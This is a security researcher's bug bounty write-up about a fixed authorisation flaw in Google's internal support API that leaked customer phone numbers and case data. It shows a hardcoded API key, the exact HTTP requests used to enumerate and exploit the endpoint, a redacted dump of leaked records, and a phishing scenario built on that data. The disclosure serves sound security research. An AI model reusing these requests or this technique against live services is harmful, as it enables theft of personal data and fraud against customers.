Hacking Google Support: Leaking millions of customer records ($14k bounty)

This is the story of how I found my first vulnerability in Google - a way to leak private customer data (including phone numbers) for all cases in Google's internal support systems.

This vulnerability was responsibly disclosed to Google's Vulnerability Rewards Program, and has since been fixed.

Last year I was taking a look at the Google Support website, which, like most support sites, has a live chat widget. These sorts of pages are always quite fascinating to look at from a security perspective, since they inevitably integrate with separate internal tools used by support agents. Security vulnerabilities are just nasty edge cases, and support systems are often rife with such edge cases.

I was very curious how this live chat worked under the hood, so of course I popped open DevTools to see for myself. It's always fun to see how things work.

This chat widget was particularly interesting as it was hosted in an embedded <iframe> at https://realtimesupport.clients6.google.com/static/proxy.html, not on the support.google.com domain.

Use of the clients6.google.com domain immediately piqued my interest. .clients6.google.com is an alias for Google's API infrastructure that runs on .googleapis.com. Google does this so that the login cookies on google.com can be used to authenticate against APIs without needing separate tokens.

Because Google's API infrastructure is highly standardised, there's a fun little trick you can use to find out which endpoints are available.

Documenting the undocumented

Practically all Google APIs actually have built-in API documentation known as "discovery documents" which, as you can probably imagine, are incredibly useful for any kind of security research. For a more in-depth explanation of Google discovery documents, I highly recommend checking out brutecat's excellent article on the topic.

To fetch a discovery document, you first need an authorised API key for a Google Cloud Platform (GCP) project that has the realtimesupport.googleapis.com service enabled. This is a restricted private API, so if you try to enable this on your GCP project using the public services.enable API, you'll get:

PERMISSION_DENIED: Permission denied to enable service [realtimesupport.googleapis.com]

However, API keys are needed for any requests to API services. Since this widget uses the realtimesupport API, there must be either a) a proxy frontend server that injects API key headers, or, more likely b) an API key lurking somewhere. Usually these are just hardcoded in client-side JavaScript code. And indeed, this was and still is the case:

(new rtsinternal_Cp({alphaTestMode:e,stagingMode:d,apiKey:"AIzaSyB5V4SIBGmrqREm7kf2fBJgPcBMCdUrLzE"}),"RTS_ONE_PLATFORM");

Using this key (which comes from the GCP project 458245626997), we can now request the discovery document:

GET /$discovery/rest HTTP/2
Host: realtimesupport.clients6.google.com
X-Goog-Api-Key: AIzaSyB5V4SIBGmrqREm7kf2fBJgPcBMCdUrLzE
HTTP/2 200 OK
Content-Type: application/json; charset=UTF-8

{
  "title": "Real-time Support API",
  "description": "Private API for Real-time Support (go/rts).",
  "version": "v2",
  "baseUrl": "https://realtimesupport.googleapis.com/",
  ...

Note: The ability to fetch the discovery document for a private API is not considered a security vulnerability in itself. Google has since removed public access to the discovery document, which I've archived here.

The response listed 93 different methods (endpoints). For context, the JavaScript code that powers the customer-facing live chat interface only uses 14 of these methods, so this technique reveals a much larger attack surface that might otherwise go unnoticed.

Exploring the API

As is the case for most Google APIs, this discovery document is organised under a resource hierarchy. Some of the top-level resources in this API sounded quite enticing, including agents, changes, conversations, and phoneSupportRequests.

I wanted to quickly dive into testing this API, so my strategy was to take an existing request, and gradually remove parameters until something broke. This process gave me a very minimal HTTP request that I could use for testing:

GET /v2/customers/me HTTP/2
Host: realtimesupport.clients6.google.com
Cookie: <redacted>
Authorization: SAPISIDHASH <redacted>
Origin: https://support.google.com
X-Goog-Api-Key: AIzaSyB5V4SIBGmrqREm7kf2fBJgPcBMCdUrLzE

The Authorization and Cookie headers expire after about an hour. I've since worked out how to generate these on-the-fly, but while testing this API it was sufficient to swap out these headers each time they expired.

I began methodically working my way through the discovery document, substituting IDs from a previous support conversation I'd had on my personal account.

This was definitely meant to be an internal API. There were methods for things like picking up incoming calls, transferring phone calls, and clocking in/out. In any case, definitely not things that a random customer needs to be able to do. Fortunately, practically all of these appeared to correctly implement authorisation checks, giving a 403 PERMISSION_DENIED error when I tried to call them.

I started noticing a common pattern; if I tried to request a URL like GET /v2/agents/{agent_id}:pools, which had the resource identifier in the path, then the request immediately failed with a 403 PERMISSION_DENIED error. It seemed like there was some kind of middleware running that was globally checking this agent_id parameter. The same applied to other resources like conversations and phoneSupportRequests, and happened even if the request body contained invalid data.

However if there wasn't a resource ID in the path, then the request seemed to fail at a later stage (e.g POST /v2/emailSupportRequests:takeMultiple gave a 400 INVALID_ARGUMENT error). I started prioritising these methods, which looked a little suspicious.

The vulnerability

I then saw the changes.list method, which had the very vague description:

Get list of changes for specified time period and pools.

I tried sending the following HTTP request:

POST /v2/changes:list HTTP/2
Host: realtimesupport.clients6.google.com
Cookie: <redacted>
Authorization: SAPISIDHASH <redacted>
X-Goog-Api-Key: AIzaSyB5V4SIBGmrqREm7kf2fBJgPcBMCdUrLzE
Origin: https://support.google.com
Content-Type: application/json

{
  "includeInitialSnapshot": true,
  "timeRange": {
      "startTimestamp": "1735713335000",
      "endTimestamp": "1735713345000"
  }
}

The response took an excruciating 5 seconds to arrive, then to my surprise, I was greeted by the below message in my HTTP client:

I clicked that 'Show Anyway' button very quickly. This API endpoint did exactly what it said on the tin - outputting a huge dump of the system state between two timestamps. The full response contained a LOT of personally identifying information, so here's a redacted example of the data:

{
  "initialSnapshot": {
    "phoneSupportRequestDiff": [{
        "phoneSupportRequestId": "00000000-0000-0000-0000-000000000000",
        "after": {
          "phoneSupportRequestId": "00000000-0000-0000-0000-000000000000",
          "caseId": "6-1234567891234",
          "speakeasySessionId": "P1000000000802102019",
          "poolId": "9000264",
          "creationTimestamp": "1735713279672",
          "isInSessionWithAgent": true,
          "agentId": "01189998819991197253",
          "customerInformation": {
            "customerPhoneNumber": "+61 2 8503 8000"
          },
          "agentAssignmentHandledBySpeakeasy": true,
          "callType": "CALLBACK",
          "takenTimestamp": "1735713318394"
        },
        "casesPoolId": "9000264"
      }
    ],
    "agentDiff": [{
      "agentId": "01189998819991197253",
      "after": {
        "agentId": "01189998819991197253",
        "jid": "sergeybrin@google.com",
        "status": "AVAILABLE",
        "poolPriority": [
          {
            "casesPoolId": "5391",
            "chatEnabled": true,
            "phoneEnabled": true,
            "agentChatPriority": "AGENT_PRIORITY_PRIMARY",
            "agentPhonePriority": "AGENT_PRIORITY_SECONDARY",
            "agentVideoPriority": "AGENT_PRIORITY_PRIMARY"
          },
          {
            "casesPoolId": "5399",
            "chatEnabled": true,
            "phoneEnabled": true,
            "agentChatPriority": "AGENT_PRIORITY_PRIMARY",
            "agentPhonePriority": "AGENT_PRIORITY_PRIMARY",
            "agentVideoPriority": "AGENT_PRIORITY_PRIMARY"
          },
          {
            "casesPoolId": "3019241",
            "emailEnabled": true,
            "agentVideoPriority": "AGENT_PRIORITY_PRIMARY"
          }
        ],
        "assignmentThreshold": 2,
        "email": "sergeybrin@google.com",
        "numSessions": 2,
        "statusTimestamp": "1735713310687",
        "identityEntityId": "01189998819991197253",
        "lastLoginTimestamp": "1735707262050",
        "preferredName": "Sergey",
        "emailStatus": "BUSY",
        "phoneStatus": "BUSY",
        "lastTakenTimestamp": "1735713327651",
        "emailAssignmentThreshold": 1,
        "activityStatus": {
          "id": "00000000-0000-0000-0000-000000000000",
          "label": "Chat"
        },
        "activityStatusTimestamp": "1735712654823",
        "speakeasyWorkModeStartTime": "1735712654931",
        "speakeasyAgentId":
"contactCenterBusinesses/00000000-0000-0000-0000-000000000000/employers/00000000-0000-0000-0000-000000000000/agents/01189998819991197253"
      }
    }],
    "supportRequestDiff": [{
      "poolId": "cases-eng:en:00000000-0000-0000-0000-000000000000",
      "customerId": "35279119991889998110",
      "after": {
        "poolId": "cases-eng:en:00000000-0000-0000-0000-000000000000",
        "customerId": "35279119991889998110",
        "creationTimestamp": "1735713178490",
        "caseId": "2-4007302031393",
        "caseMessageId":
"<abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz1234@mail.gmail.com>",
        "session": {
          "agentId": "01189998819991197253",
          "creationTimestamp": "1735713318537",
          "cbfConversationId": "00000000-0000-0000-0000-000000000000"
        },
        "cbfPool": true,
        "customerName": "Michael",
        "casesPoolId": "5391",
        "supportRequestId": "00000000-0000-0000-0000-000000000000",
        "isSmartGreeterAvailable": true
      },
      "casesPoolId": "5391",
      "supportRequestId": "00000000-0000-0000-0000-000000000000"
    }]
  }
}

After recovering from the initial shock, I started writing a vulnerability report to Google VRP, which I submitted just after midnight local time.

Impact

Using this vulnerability, any attacker could access:

It's unclear exactly how many support cases could have been accessed with this vulnerability. Google was (understandably) unwilling to disclose the exact figure in the conversations I had prior to this disclosure. My rough guess in the report was that a minimum of 30 million cases were accessible, which I believe is an accurate lower bound.

Aside from the obvious PII disclosure and agent stalking implication, this vulnerability has an interesting phishing potential. Imagine: You just got off the phone with Google Support after refunding a Play Store purchase, and then 10 seconds later you receive another call from a "manager at Google Support". They know the department you called, the name of the agent you spoke to, and tell you that you urgently need to reverify your credit card information due to fraud suspicions about the previous call. Would you fall for it?

My theory is that this API endpoint is used by managers for some kind of big-picture breakdown of an entire support pool.

Conclusion

Overall, this was a fun and quite impactful vulnerability to start off my Google bug hunting journey.

This was also a nice reminder that even Google isn't infallible when it comes to such security vulnerabilities. Google has a lot of bespoke infrastructure, but if you invest the time to learn the ins and outs of their internal systems, you realise that they're not really much different to other systems.

Timeline (UTC)

Enjoyed this article? Consider subscribing to my RSS feed. You can reach me via LinkedIn or .